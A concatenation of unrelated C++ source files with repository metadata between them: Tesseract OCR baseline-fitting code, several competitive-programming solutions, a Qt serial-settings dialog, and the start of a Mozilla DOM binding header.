tprintf("Top mode = %g * %d\n",
scaled_modes[i].key * disp_quant_factor_, scaled_modes[i].data);
}
}
for (int i = 0; i < scaled_modes.size(); ++i)
displacement_modes_.push_back(disp_quant_factor_ * scaled_modes[i].key);
}
// Fits a line in the given direction to blobs that are close to the given
// target_offset perpendicular displacement from the direction. The fit
// error is allowed to be cheat_allowance worse than the existing fit, and
// will still be used.
// If cheat_allowance > 0, the new fit will be good and replace the current
// fit if it has better fit (with cheat) OR its error is below
// max_baseline_error_ and the old fit is marked bad.
// Otherwise the new fit will only replace the old if it is really better,
// or the old fit is marked bad and the new fit has sufficient points, as
// well as being within the max_baseline_error_.
void BaselineRow::FitConstrainedIfBetter(int debug,
const FCOORD& direction,
double cheat_allowance,
double target_offset) {
double halfrange = fit_halfrange_ * direction.length();
double min_dist = target_offset - halfrange;
double max_dist = target_offset + halfrange;
ICOORD line_pt;
double new_error = fitter_.ConstrainedFit(direction, min_dist, max_dist,
debug > 2, &line_pt);
// Allow cheat_allowance off the new error
new_error -= cheat_allowance;
double old_angle = BaselineAngle();
double new_angle = direction.angle();
if (debug > 1) {
tprintf("Constrained error = %g, original = %g",
new_error, baseline_error_);
tprintf(" angles = %g, %g, delta=%g vs threshold %g\n",
old_angle, new_angle,
new_angle - old_angle, kMaxSkewDeviation);
}
bool new_good_baseline = new_error <= max_baseline_error_ &&
(cheat_allowance > 0.0 || fitter_.SufficientPointsForIndependentFit());
// The new will replace the old if any are true:
// 1. the new error is better
// 2. the old is NOT good, but the new is
// 3. there is a wild angular difference between them (assuming that the new
// is a better guess at the angle.)
if (new_error <= baseline_error_ ||
(!good_baseline_ && new_good_baseline) ||
fabs(new_angle - old_angle) > kMaxSkewDeviation) {
baseline_error_ = new_error;
baseline_pt1_ = line_pt;
baseline_pt2_ = baseline_pt1_ + direction;
good_baseline_ = new_good_baseline;
if (debug > 1) {
tprintf("Replacing with constrained baseline, good = %d\n",
good_baseline_);
}
} else if (debug > 1) {
tprintf("Keeping old baseline\n");
}
}
// Returns the perpendicular distance of the point from the straight
// baseline.
double BaselineRow::PerpDistanceFromBaseline(const FCOORD& pt) const {
FCOORD baseline_vector(baseline_pt2_ - baseline_pt1_);
FCOORD offset_vector(pt - baseline_pt1_);
double distance = baseline_vector * offset_vector;
return sqrt(distance * distance / baseline_vector.sqlength());
}
// Computes the bounding box of the row.
void BaselineRow::ComputeBoundingBox() {
BLOBNBOX_IT it(blobs_);
TBOX box;
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
box += it.data()->bounding_box();
}
bounding_box_ = box;
}
BaselineBlock::BaselineBlock(int debug_level, bool non_text, TO_BLOCK* block)
: block_(block), debug_level_(debug_level), non_text_block_(non_text),
good_skew_angle_(false), skew_angle_(0.0),
line_spacing_(block->line_spacing), line_offset_(0.0), model_error_(0.0) {
TO_ROW_IT row_it(block_->get_rows());
for (row_it.mark_cycle_pt(); !row_it.cycled_list(); row_it.forward()) {
// Sort the blobs on the rows.
row_it.data()->blob_list()->sort(blob_x_order);
rows_.push_back(new BaselineRow(block->line_spacing, row_it.data()));
}
}
// Computes and returns the absolute error of the given perp_disp from the
// given linespacing model.
double BaselineBlock::SpacingModelError(double perp_disp, double line_spacing,
double line_offset) {
// Round to the nearest multiple of line_spacing + line offset.
int multiple = IntCastRounded((perp_disp - line_offset) / line_spacing);
double model_y = line_spacing * multiple + line_offset;
return fabs(perp_disp - model_y);
}
// Fits straight line baselines and computes the skew angle from the
// median angle. Returns true if a good angle is found.
// If use_box_bottoms is false, baseline positions are formed by
// considering the outlines of the blobs.
bool BaselineBlock::FitBaselinesAndFindSkew(bool use_box_bottoms) {
if (non_text_block_) return false;
GenericVector<double> angles;
for (int r = 0; r < rows_.size(); ++r) {
BaselineRow* row = rows_[r];
if (row->FitBaseline(use_box_bottoms)) {
double angle = row->BaselineAngle();
angles.push_back(angle);
}
if (debug_level_ > 1)
row->Print();
}
if (!angles.empty()) {
skew_angle_ = MedianOfCircularValues(M_PI, &angles);
good_skew_angle_ = true;
} else {
skew_angle_ = 0.0f;
good_skew_angle_ = false;
}
if (debug_level_ > 0) {
tprintf("Initial block skew angle = %g, good = %d\n",
skew_angle_, good_skew_angle_);
}
return good_skew_angle_;
}
// Refits the baseline to a constrained angle, using the stored block
// skew if good enough, otherwise the supplied default skew.
void BaselineBlock::ParallelizeBaselines(double default_block_skew) {
if (non_text_block_) return;
if (!good_skew_angle_) skew_angle_ = default_block_skew;
if (debug_level_ > 0)
tprintf("Adjusting block to skew angle %g\n", skew_angle_);
FCOORD direction(cos(skew_angle_), sin(skew_angle_));
for (int r = 0; r < rows_.size(); ++r) {
BaselineRow* row = rows_[r];
row->AdjustBaselineToParallel(debug_level_, direction);
if (debug_level_ > 1)
row->Print();
}
if (rows_.size() < 3 || !ComputeLineSpacing())
return;
// Enforce the line spacing model on all lines that don't yet have a good
// baseline.
// Start by finding the row that is best fitted to the model.
int best_row = 0;
double best_error = SpacingModelError(rows_[0]->PerpDisp(direction),
line_spacing_, line_offset_);
for (int r = 1; r < rows_.size(); ++r) {
double error = SpacingModelError(rows_[r]->PerpDisp(direction),
line_spacing_, line_offset_);
if (error < best_error) {
best_error = error;
best_row = r;
}
}
// Starting at the best fitting row, work outwards, syncing the offset.
double offset = line_offset_;
for (int r = best_row + 1; r < rows_.size(); ++r) {
offset = rows_[r]->AdjustBaselineToGrid(debug_level_, direction,
line_spacing_, offset);
}
offset = line_offset_;
for (int r = best_row - 1; r >= 0; --r) {
offset = rows_[r]->AdjustBaselineToGrid(debug_level_, direction,
line_spacing_, offset);
}
}
// Sets the parameters in TO_BLOCK that are needed by subsequent processes.
void BaselineBlock::SetupBlockParameters() const {
if (line_spacing_ > 0.0) {
// Where was block_line_spacing set before?
float min_spacing = MIN(block_->line_spacing, line_spacing_);
if (min_spacing < block_->line_size)
block_->line_size = min_spacing;
block_->line_spacing = line_spacing_;
block_->baseline_offset = line_offset_;
block_->max_blob_size = line_spacing_ * kMaxBlobSizeMultiple;
}
// Setup the parameters on all the rows.
TO_ROW_IT row_it(block_->get_rows());
for (int r = 0; r < rows_.size(); ++r, row_it.forward()) {
BaselineRow* row = rows_[r];
TO_ROW* to_row = row_it.data();
row->SetupOldLineParameters(to_row);
}
}
// Processing that is required before fitting baseline splines, but requires
// linear baselines in order to be successful:
// Removes noise if required
// Separates out underlines
// Pre-associates blob fragments.
// TODO(rays/joeliu) This entire section of code is inherited from the past
// and could be improved/eliminated.
// page_tr is used to size a debug window.
void BaselineBlock::PrepareForSplineFitting(ICOORD page_tr, bool remove_noise) {
if (non_text_block_) return;
if (remove_noise) {
vigorous_noise_removal(block_);
}
FCOORD rotation(1.0f, 0.0f);
double gradient = tan(skew_angle_);
separate_underlines(block_, gradient, rotation, true);
pre_associate_blobs(page_tr, block_, rotation, true);
}
// Fits splines to the textlines, or creates fake QSPLINES from the straight
// baselines that are already on the TO_ROWs.
// As a side-effect, computes the xheights of the rows and the block.
// Although x-height estimation is conceptually separate, it is part of
// detecting perspective distortion and therefore baseline fitting.
void BaselineBlock::FitBaselineSplines(bool enable_splines,
bool show_final_rows,
Textord* textord) {
double gradient = tan(skew_angle_);
FCOORD rotation(1.0f, 0.0f);
if (enable_splines) {
textord->make_spline_rows(block_, gradient, show_final_rows);
} else {
// Make a fake spline from the existing line.
TBOX block_box= block_->block->bounding_box();
TO_ROW_IT row_it = block_->get_rows();
for (row_it.mark_cycle_pt(); !row_it.cycled_list(); row_it.forward()) {
TO_ROW* row = row_it.data();
inT32 xstarts[2] = { block_box.left(), block_box.right() };
double coeffs[3] = { 0.0, row->line_m(), row->line_c() };
row->baseline = QSPLINE(1, xstarts, coeffs);
textord->compute_row_xheight(row, block_->block->classify_rotation(),
row->line_m(), block_->line_size);
}
}
textord->compute_block_xheight(block_, gradient);
block_->block->set_xheight(block_->xheight);
if (textord_restore_underlines) // fix underlines
restore_underlined_blobs(block_);
}
// Draws the (straight) baselines and final blobs colored according to
// what was discarded as noise and what is associated with each row.
void BaselineBlock::DrawFinalRows(const ICOORD& page_tr) {
#ifndef GRAPHICS_DISABLED
if (non_text_block_) return;
double gradient = tan(skew_angle_);
FCOORD rotation(1.0f, 0.0f);
int left_edge = block_->block->bounding_box().left();
ScrollView* win = create_to_win(page_tr);
ScrollView::Color colour = ScrollView::RED;
TO_ROW_IT row_it = block_->get_rows();
for (row_it.mark_cycle_pt(); !row_it.cycled_list(); row_it.forward()) {
plot_parallel_row(row_it.data(), gradient, left_edge, colour, rotation);
colour = static_cast<ScrollView::Color>(colour + 1);
if (colour > ScrollView::MAGENTA)
colour = ScrollView::RED;
}
plot_blob_list(win, &block_->blobs, ScrollView::MAGENTA, ScrollView::WHITE);
// Show discarded blobs.
plot_blob_list(win, &block_->underlines,
ScrollView::YELLOW, ScrollView::CORAL);
if (block_->blobs.length() > 0)
tprintf("%d blobs discarded as noise\n", block_->blobs.length());
draw_meanlines(block_, gradient, left_edge, ScrollView::WHITE, rotation);
#endif
}
void BaselineBlock::DrawPixSpline(Pix* pix_in) {
if (non_text_block_) return;
TO_ROW_IT row_it = block_->get_rows();
for (row_it.mark_cycle_pt(); !row_it.cycled_list(); row_it.forward()) {
row_it.data()->baseline.plot(pix_in);
}
}
// Top-level line-spacing calculation. Computes an estimate of the line-
// spacing, using the current baselines in the TO_ROWS of the block, and
// then refines it by fitting a regression line to the baseline positions
// as a function of their integer index.
// Returns true if it seems that the model is a reasonable fit to the
// observations.
bool BaselineBlock::ComputeLineSpacing() {
FCOORD direction(cos(skew_angle_), sin(skew_angle_));
GenericVector<double> row_positions;
ComputeBaselinePositions(direction, &row_positions);
if (row_positions.size() < 2) return false;
EstimateLineSpacing();
RefineLineSpacing(row_positions);
// Verify that the model is reasonable.
double max_baseline_error = kMaxBaselineError * line_spacing_;
int non_trivial_gaps = 0;
int fitting_gaps = 0;
for (int i = 1; i < row_positions.size(); ++i) {
double row_gap = fabs(row_positions[i - 1] - row_positions[i]);
if (row_gap > max_baseline_error) {
++non_trivial_gaps;
if (fabs(row_gap - line_spacing_) <= max_baseline_error)
++fitting_gaps;
}
}
if (debug_level_ > 0) {
tprintf("Spacing %g, in %d rows, %d gaps fitted out of %d non-trivial\n",
line_spacing_, row_positions.size(), fitting_gaps,
non_trivial_gaps);
}
return fitting_gaps > non_trivial_gaps * kMinFittingLinespacings;
}
// Computes the deskewed vertical position of each baseline in the block and
// stores them in the given vector.
// This is calculated as the perpendicular distance of the middle of each
// baseline (in case it has a different skew angle) from the line passing
// through the origin parallel to the block baseline angle.
// NOTE that "distance" above is a signed quantity so we can tell which side
// of the block baseline a line sits, hence the function and argument name
// positions not distances.
void BaselineBlock::ComputeBaselinePositions(const FCOORD& direction,
GenericVector<double>* positions) {
positions->clear();
for (int r = 0; r < rows_.size(); ++r) {
BaselineRow* row = rows_[r];
const TBOX& row_box = row->bounding_box();
float x_middle = (row_box.left() + row_box.right()) / 2.0f;
FCOORD row_pos(x_middle, static_cast<float>(row->StraightYAtX(x_middle)));
float offset = direction * row_pos;
positions->push_back(offset);
}
}
// Computes an estimate of the line spacing of the block from the median
// of the spacings between adjacent overlapping textlines.
void BaselineBlock::EstimateLineSpacing() {
GenericVector<float> spacings;
for (int r = 0; r < rows_.size(); ++r) {
BaselineRow* row = rows_[r];
// Exclude silly lines.
if (fabs(row->BaselineAngle()) > M_PI * 0.25) continue;
// Find the first row after row that overlaps it significantly.
const TBOX& row_box = row->bounding_box();
int r2;
for (r2 = r + 1; r2 < rows_.size() &&
!row_box.major_x_overlap(rows_[r2]->bounding_box());
++r2);
if (r2 < rows_.size()) {
BaselineRow* row2 = rows_[r2];
// Exclude silly lines.
if (fabs(row2->BaselineAngle()) > M_PI * 0.25) continue;
float spacing = row->SpaceBetween(*row2);
spacings.push_back(spacing);
}
}
// If we have at least one value, use it, otherwise leave the previous
// value unchanged.
if (!spacings.empty()) {
line_spacing_ = spacings[spacings.choose_nth_item(spacings.size() / 2)];
if (debug_level_ > 1)
tprintf("Estimate of linespacing = %g\n", line_spacing_);
}
}
// Refines the line spacing of the block by fitting a regression
// line to the deskewed y-position of each baseline as a function of its
// estimated line index, allowing for a small error in the initial linespacing
// and choosing the best available model.
void BaselineBlock::RefineLineSpacing(const GenericVector<double>& positions) {
double spacings[3], offsets[3], errors[3];
int index_range;
errors[0] = FitLineSpacingModel(positions, line_spacing_,
&spacings[0], &offsets[0], &index_range);
if (index_range > 1) {
double spacing_plus = line_spacing_ / (1.0 + 1.0 / index_range);
// Try the hypotheses that there might be index_range +/- 1 line spaces.
errors[1] = FitLineSpacingModel(positions, spacing_plus,
&spacings[1], &offsets[1], NULL);
double spacing_minus = line_spacing_ / (1.0 - 1.0 / index_range);
errors[2] = FitLineSpacingModel(positions, spacing_minus,
&spacings[2], &offsets[2], NULL);
for (int i = 1; i <= 2; ++i) {
if (errors[i] < errors[0]) {
spacings[0] = spacings[i];
offsets[0] = offsets[i];
errors[0] = errors[i];
}
}
}
if (spacings[0] > 0.0) {
line_spacing_ = spacings[0];
line_offset_ = offsets[0];
model_error_ = errors[0];
if (debug_level_ > 0) {
tprintf("Final linespacing model = %g + offset %g, error %g\n",
line_spacing_, line_offset_, model_error_);
}
}
}
// Given an initial estimate of line spacing (m_in) and the positions of each
// baseline, computes the line spacing of the block more accurately in m_out,
// and the corresponding intercept in c_out, and the number of spacings seen
// in index_delta. Returns the error of fit to the line spacing model.
// Uses a simple linear regression, but optimized the offset using the median.
double BaselineBlock::FitLineSpacingModel(
const GenericVector<double>& positions, double m_in,
double* m_out, double* c_out, int* index_delta) {
if (m_in == 0.0f || positions.size() < 2) {
*m_out = m_in;
*c_out = 0.0;
if (index_delta != NULL) *index_delta = 0;
return 0.0;
}
GenericVector<double> offsets;
// Get the offset (remainder) linespacing for each line and choose the median.
for (int i = 0; i < positions.size(); ++i)
offsets.push_back(fmod(positions[i], m_in));
// Get the median offset.
double median_offset = MedianOfCircularValues(m_in, &offsets);
// Now fit a line to quantized line number and offset.
LLSQ llsq;
int min_index = MAX_INT32;
int max_index = -MAX_INT32;
for (int i = 0; i < positions.size(); ++i) {
double y_pos = positions[i];
int row_index = IntCastRounded((y_pos - median_offset) / m_in);
UpdateRange(row_index, &min_index, &max_index);
llsq.add(row_index, y_pos);
}
// Get the refined line spacing.
*m_out = llsq.m();
// Use the median offset rather than the mean.
offsets.truncate(0);
for (int i = 0; i < positions.size(); ++i)
offsets.push_back(fmod(positions[i], *m_out));
// Get the median offset.
if (debug_level_ > 2) {
for (int i = 0; i < offsets.size(); ++i)
tprintf("%d: %g\n", i, offsets[i]);
}
*c_out = MedianOfCircularValues(*m_out, &offsets);
if (debug_level_ > 1) {
tprintf("Median offset = %g, compared to mean of %g.\n",
*c_out, llsq.c(*m_out));
}
// Index_delta is the number of hypothesized line gaps present.
if (index_delta != NULL)
*index_delta = max_index - min_index;
// Use the regression model's intercept to compute the error, as it may be
// a full line-spacing in disagreement with the median.
double rms_error = llsq.rms(*m_out, llsq.c(*m_out));
if (debug_level_ > 1) {
tprintf("Linespacing of y=%g x + %g improved to %g x + %g, rms=%g\n",
m_in, median_offset, *m_out, *c_out, rms_error);
}
return rms_error;
}
BaselineDetect::BaselineDetect(int debug_level, const FCOORD& page_skew,
TO_BLOCK_LIST* blocks)
: page_skew_(page_skew), debug_level_(debug_level), pix_debug_(NULL),
debug_file_prefix_("") {
TO_BLOCK_IT it(blocks);
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
TO_BLOCK* to_block = it.data();
BLOCK* block = to_block->block;
POLY_BLOCK* pb = block->poly_block();
// A note about non-text blocks.
// On output, non-text blocks are supposed to contain a single empty word
// in each incoming text line. These mark out the polygonal bounds of the
// block. Ideally no baselines should be required, but currently
// make_words crashes if a baseline and xheight are not provided, so we
// include non-text blocks here, but flag them for special treatment.
bool non_text = pb != NULL && !pb->IsText();
blocks_.push_back(new BaselineBlock(debug_level_, non_text, to_block));
}
}
BaselineDetect::~BaselineDetect() {
pixDestroy(&pix_debug_);
}
// Finds the initial baselines for each TO_ROW in each TO_BLOCK, gathers
// block-wise and page-wise data to smooth small blocks/rows, and applies
// smoothing based on block/page-level skew and block-level linespacing.
void BaselineDetect::ComputeStraightBaselines(bool use_box_bottoms) {
GenericVector<double> block_skew_angles;
for (int i = 0; i < blocks_.size(); ++i) {
BaselineBlock* bl_block = blocks_[i];
if (debug_level_ > 0)
tprintf("Fitting initial baselines...\n");
if (bl_block->FitBaselinesAndFindSkew(use_box_bottoms)) {
block_skew_angles.push_back(bl_block->skew_angle());
}
}
// Compute a page-wide default skew for blocks with too little information.
double default_block_skew = page_skew_.angle();
if (!block_skew_angles.empty()) {
default_block_skew = MedianOfCircularValues(M_PI, &block_skew_angles);
}
if (debug_level_ > 0) {
tprintf("Page skew angle = %g\n", default_block_skew);
}
// Set bad lines in each block to the default block skew and then force fit
// a linespacing model where it makes sense to do so.
for (int i = 0; i < blocks_.size(); ++i) {
BaselineBlock* bl_block = blocks_[i];
bl_block->ParallelizeBaselines(default_block_skew);
bl_block->SetupBlockParameters(); // This replaced compute_row_stats.
}
}
// Computes the baseline splines for each TO_ROW in each TO_BLOCK and
// other associated side-effects, including pre-associating blobs, computing
// x-heights and displaying debug information.
// NOTE that ComputeStraightBaselines must have been called first as this
// sets up data in the TO_ROWs upon which this function depends.
void BaselineDetect::ComputeBaselineSplinesAndXheights(const ICOORD& page_tr,
bool enable_splines,
bool remove_noise,
bool show_final_rows,
Textord* textord) {
Pix* pix_spline = pix_debug_ ? pixConvertTo32(pix_debug_) : NULL;
for (int i = 0; i < blocks_.size(); ++i) {
BaselineBlock* bl_block = blocks_[i];
bl_block->PrepareForSplineFitting(page_tr, remove_noise);
bl_block->FitBaselineSplines(enable_splines, show_final_rows, textord);
if (pix_spline) {
bl_block->DrawPixSpline(pix_spline);
}
if (show_final_rows) {
bl_block->DrawFinalRows(page_tr);
}
}
if (pix_spline) {
STRING outfile_name = debug_file_prefix_ + "_spline.png";
pixWrite(outfile_name.string(), pix_spline, IFF_PNG);
pixDestroy(&pix_spline);
}
}
void BaselineDetect::SetDebugImage(Pix* pixIn, const STRING& output_path) {
pixDestroy(&pix_debug_);
pix_debug_ = pixClone(pixIn);
debug_file_prefix_ = output_path;
}
} // namespace tesseract.
|
[
"aapartha@usc.edu"
] |
aapartha@usc.edu
|
dc89f46802a1bee161982e245b740fc1389f9610
|
ea8aa77c861afdbf2c9b3268ba1ae3f9bfd152fe
|
/poj1741_why_am_i_wa.cpp
|
de1cd7a6f46ef493766d67b0e5751ce7e89d03f2
|
[] |
no_license
|
lonelam/SolveSet
|
987a01e72d92f975703f715e6a7588d097f7f2e5
|
66a9a984d7270ff03b9c2dfa229d99b922907d57
|
refs/heads/master
| 2021-04-03T02:02:03.108669
| 2018-07-21T14:25:53
| 2018-07-21T14:25:53
| 62,948,874
| 9
| 3
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,346
|
cpp
|
#include <cstdio>
#include <cmath>
#include <iostream>
#include <algorithm>
#include <cstring>
#include <string>
#include <vector>
#include <map>
#include <set>
#include <functional>
#include <queue>
#include <stack>
#include <deque>
using namespace std;
typedef long long ll;
typedef long double ld;
const int inf = 0x3f3f3f3f;
const int maxn = 20000 * 10 + 100;
int tot, sz[maxn], key[maxn], ch[maxn][2];//, pre[maxn];
int deep[maxn];
int n, k;
int ans;
int dis[maxn];
void newnode(int & pos, int _key)
{
key[tot] = _key;
sz[tot] = 1;
ch[tot][0] = ch[tot][1] = 0;
deep[tot] = 1;
// pre[tot] = fa;
pos = tot++;
}
void pushup(int x)
{
if (!x) return;
sz[x] = sz[ch[x][0]] + sz[ch[x][1]] + 1;
deep[x] = max(deep[ch[x][0]], deep[ch[x][1]]) + 1;
}
void rotate(int x,int & xpos, int d)
{
const int y = ch[x][d], z = ch[y][d^1];
xpos = y;
ch[y][d^1] = x;
ch[x][d] = z;
pushup(x);
pushup(y);
}
void insert_node(int & tree, int node)
{
if (tree == 0)
{
tree = node;
return;
}
if (key[tree] >= key[node])
{
insert_node(ch[tree][0], node);
if (deep[ch[tree][0]] > deep[ch[tree][1]] + 1)
{
rotate(tree, tree, 0);
}
}
else
{
insert_node(ch[tree][1], node);
if (deep[ch[tree][1]] > deep[ch[tree][0]] + 1)
{
rotate(tree, tree, 1);
}
}
pushup(tree);
}
void acc_less(int r, int t)
{
if (!r) return;
if (key[r] <= t)
{
ans += sz[ch[r][0]] + 1;
acc_less(ch[r][1], t);
}
else
{
acc_less(ch[r][0], t);
}
}
///trail equals double dis to current root
void insert_tree(int & raw, int tar, int trail)
{
if (tar == 0) return;
insert_tree(raw, ch[tar][0], trail);
insert_tree(raw, ch[tar][1], trail);
sz[tar] = 1;
deep[tar] = 1;
ch[tar][0] = ch[tar][1] = 0;
acc_less(raw, k + trail - key[tar]);
insert_node(raw, tar);
}
vector<int> G[maxn];
int ecnt;
void init()
{
tot = 1;
sz[0] = ch[0][0] = ch[0][1] = 0;
ans = 0;
ecnt = 0;
deep[0] = 0;
for (int i = 0; i < n; i++)
{
G[i].clear();
}
}
struct edge
{
int u, v, w;
} es[maxn * 2];
void addedge(int u, int v, int w)
{
es[ecnt] = edge({u,v,w});
G[u].push_back(ecnt++);
es[ecnt] = edge({v, u, w});
G[v].push_back(ecnt++);
}
int dfs(int cur, int parent)
{
vector<int> trees;
//for (int e: G[cur])
for (int i = 0; i < G[cur].size(); i++)
{
const int e = G[cur][i];
if (es[e].v != parent)
{
dis[es[e].v] = dis[cur] + es[e].w;
trees.push_back(dfs(es[e].v, cur));
}
}
int main_tree = 0;
int cur_t;
newnode(cur_t, dis[cur]);
trees.push_back(cur_t);
// for (int t : trees)
for (int i = 0; i < trees.size(); i++)
{
const int t = trees[i];
if (sz[t] > sz[main_tree])
{
main_tree = t;
}
}
//
// for (int t: trees)
for (int i = 0; i < trees.size(); i++)
{
const int t = trees[i];
if (t != main_tree)
{
insert_tree(main_tree, t, 2 * dis[cur]);
}
}
return main_tree;
}
int main()
{
int u, v, l;
n = 10000, k = 10000000;
//while(scanf("%d%d", &n, &k) != EOF && n && k)
{
init();
for (int i = 1; i < n;i ++)
{
// scanf("%d%d%d", &u, &v, &l);
u = i, v = i + 1;l = 100;
cout << u << " "<< v << " "<< l << endl;
u--;v--;
addedge(u,v,l);
}
dis[n/2] = 0;
dfs(n/2, 0);
printf("%d\n", ans);
}
}
|
[
"laizenan@gmail.com"
] |
laizenan@gmail.com
|
efba28b54f2c3bff54bfad72d153f49e37e3c998
|
6f949d729afffa5efc9f548bbfb58cdef3779d68
|
/codechef/CCDSAP Advanced/CP/sum of array with d and c.cpp
|
dba222454865f43f93df8327fc2941855f4b7d6b
|
[] |
no_license
|
barjinderpaul/Programming
|
ce02ad97d5fae968172ca397c483cc539a4b83f1
|
e48f4825cbe90f28e173f27071e5b0dd8740a8ff
|
refs/heads/master
| 2020-08-04T07:13:41.479369
| 2019-11-16T09:16:34
| 2019-11-16T09:16:34
| 212,045,826
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 336
|
cpp
|
#include<bits/stdc++.h>
using namespace std;
int summ(int a[],int low,int high){
int m = (low+high)/2;
if(low==high)
return a[low];
return summ(a,low ,m)+summ(a,m+1,high);
}
int main(){
int n;
cin>>n;
int a[n];
for(int i=0;i<n;i++)
cin>>a[i];
//int sum=0;
cout<<summ(a,0,n-1);
}
|
[
"barjinderpaul.singh@gmail.com"
] |
barjinderpaul.singh@gmail.com
|
542308b184276245c3f4a6fde3e1c17e55889d03
|
53c4d43c7ffd722aa4153a5f0aba4cad1c75c5f8
|
/stack/84.largest-rectangle-in-histogram.cpp
|
8dd7d1591c0bcf8bdaea767656ad3ceefb2cbbad
|
[
"MIT"
] |
permissive
|
yeweili94/leetcode
|
f4c29c848805bd7ef20e18cc45bd0c4832541b53
|
900fd11795f760e3d1d646f1f63887d4d22eb46e
|
refs/heads/master
| 2020-03-19T16:44:22.667081
| 2019-04-29T10:48:21
| 2019-04-29T10:48:21
| 136,727,569
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,231
|
cpp
|
/*
* [84] Largest Rectangle in Histogram
*
* https://leetcode.com/problems/largest-rectangle-in-histogram/description/
*
* algorithms
* Hard (28.59%)
* Total Accepted: 133.1K
* Total Submissions: 465.6K
* Testcase Example: '[2,1,5,6,2,3]'
*
* Given n non-negative integers representing the histogram's bar height where
* the width of each bar is 1, find the area of largest rectangle in the
* histogram.
*
*
* Above is a histogram where width of each bar is 1, given height =
* [2,1,5,6,2,3].
*
*
*
*
* The largest rectangle is shown in the shaded area, which has area = 10
* unit.
*
*
*
* Example:
*
*
* Input: [2,1,5,6,2,3]
* Output: 10
*
*
*/
class Solution {
public:
int largestRectangleArea(vector<int>& heights) {
heights.push_back(0);
int size = heights.size();
stack<int> st;
int ret = 0;
for (int i = 0; i < size; i++) {
while (!st.empty() && heights[st.top()] >= heights[i]) {
int top = st.top();
st.pop();
int w = st.empty() ? i : i - st.top() - 1;
ret = max(ret, w * (heights[top]));
}
st.push(i);
}
return ret;
}
};
|
[
"yeweili94@gmail.com"
] |
yeweili94@gmail.com
|
d6369c98826d9061c677176f40dec2d1fec940fd
|
5f66f3acf10eaf3914b268f4cf36803958761466
|
/RobotDiagTool/DiagTool/serialsettingsdialog.cpp
|
9324cabd42bc33b6e187e1c6509c8e5edb3889d4
|
[] |
no_license
|
szujoz/DiagTool_RXII
|
4efba0486641595336110b38e733bff4d730cce1
|
241d47a73c0466a23f3c8f77b0cdadd848e69c82
|
refs/heads/main
| 2023-02-04T16:13:44.926185
| 2020-12-19T11:38:00
| 2020-12-19T11:38:00
| 302,977,905
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,251
|
cpp
|
#include "serialsettingsdialog.h"
#include "ui_serialsettingsdialog.h"
#include "inifilehandler.h"
#include <QDebug>
SerialSettingsDialog::SerialSettingsDialog(QDialog *parent)
: QDialog(parent)
, ui(new Ui::SerialSettingsDialog)
{
ui->setupUi(this);
}
SerialSettingsDialog::~SerialSettingsDialog()
{
delete ui;
}
void SerialSettingsDialog::DisplaySerialSettings(const QString com, const QString baud, const QString dataBits, const QString stopBits)
{
ui->lineEdit_ComChannel->insert(com);
ui->lineEdit_Baud->insert(baud);
ui->lineEdit_DataBits->insert(dataBits);
ui->lineEdit_StopBits->insert(stopBits);
}
void SerialSettingsDialog::on_btn_SaveConfigSerialLineSettings_clicked()
{
QMap<QString,QString> params;
params.insert("COM", ui->lineEdit_ComChannel->text());
params.insert("baud", ui->lineEdit_Baud->text());
params.insert("dataBit",ui->lineEdit_DataBits->text());
params.insert("stopBit",ui->lineEdit_StopBits->text());
emit SettingsChanged(ui->lineEdit_ComChannel->text(),
ui->lineEdit_Baud->text(),
ui->lineEdit_DataBits->text(),
ui->lineEdit_StopBits->text());
qDebug() << "Settings saved";
}
|
[
"szujoz95@gmail.com"
] |
szujoz95@gmail.com
|
18f4a7f4e6f77d6f289ceae668e16c5eb0cb2d2e
|
ece30e7058d8bd42bc13c54560228bd7add50358
|
/DataCollector/mozilla/xulrunner-sdk/include/mozilla/dom/HTMLSpanElementBinding.h
|
533afc7b288abc5efa0c42341b41bcfed1fec5fb
|
[
"Apache-2.0"
] |
permissive
|
andrasigneczi/TravelOptimizer
|
b0fe4d53f6494d40ba4e8b98cc293cb5451542ee
|
b08805f97f0823fd28975a36db67193386aceb22
|
refs/heads/master
| 2022-07-22T02:07:32.619451
| 2018-12-03T13:58:21
| 2018-12-03T13:58:21
| 53,926,539
| 1
| 0
|
Apache-2.0
| 2022-07-06T20:05:38
| 2016-03-15T08:16:59
|
C++
|
UTF-8
|
C++
| false
| false
| 2,466
|
h
|
/* THIS FILE IS AUTOGENERATED FROM HTMLSpanElement.webidl BY Codegen.py - DO NOT EDIT */
#ifndef mozilla_dom_HTMLSpanElementBinding_h
#define mozilla_dom_HTMLSpanElementBinding_h
#include "js/RootingAPI.h"
#include "jspubtd.h"
#include "mozilla/ErrorResult.h"
#include "mozilla/dom/BindingDeclarations.h"
#include "mozilla/dom/Nullable.h"
namespace mozilla {
namespace dom {
class HTMLSpanElement;
struct HTMLSpanElementAtoms;
struct NativePropertyHooks;
class ProtoAndIfaceCache;
} // namespace dom
} // namespace mozilla
namespace mozilla {
namespace dom {
namespace HTMLSpanElementBinding {
typedef mozilla::dom::HTMLSpanElement NativeType;
// We declare this as an array so that retrieving a pointer to this
// binding's property hooks only requires compile/link-time resolvable
// address arithmetic. Declaring it as a pointer instead would require
// doing a run-time load to fetch a pointer to this binding's property
// hooks. And then structures which embedded a pointer to this structure
// would require a run-time load for proper initialization, which would
// then induce static constructors. Lots of static constructors.
extern const NativePropertyHooks sNativePropertyHooks[];
JSObject*
DefineDOMInterface(JSContext* aCx, JS::Handle<JSObject*> aGlobal, JS::Handle<jsid> id, bool aDefineOnGlobal);
const JSClass*
GetJSClass();
bool
Wrap(JSContext* aCx, mozilla::dom::HTMLSpanElement* aObject, nsWrapperCache* aCache, JS::Handle<JSObject*> aGivenProto, JS::MutableHandle<JSObject*> aReflector);
template <class T>
inline JSObject* Wrap(JSContext* aCx, T* aObject, JS::Handle<JSObject*> aGivenProto)
{
JS::Rooted<JSObject*> reflector(aCx);
return Wrap(aCx, aObject, aObject, aGivenProto, &reflector) ? reflector.get() : nullptr;
}
void
CreateInterfaceObjects(JSContext* aCx, JS::Handle<JSObject*> aGlobal, ProtoAndIfaceCache& aProtoAndIfaceCache, bool aDefineOnGlobal);
JS::Handle<JSObject*>
GetProtoObjectHandle(JSContext* aCx, JS::Handle<JSObject*> aGlobal);
JS::Handle<JSObject*>
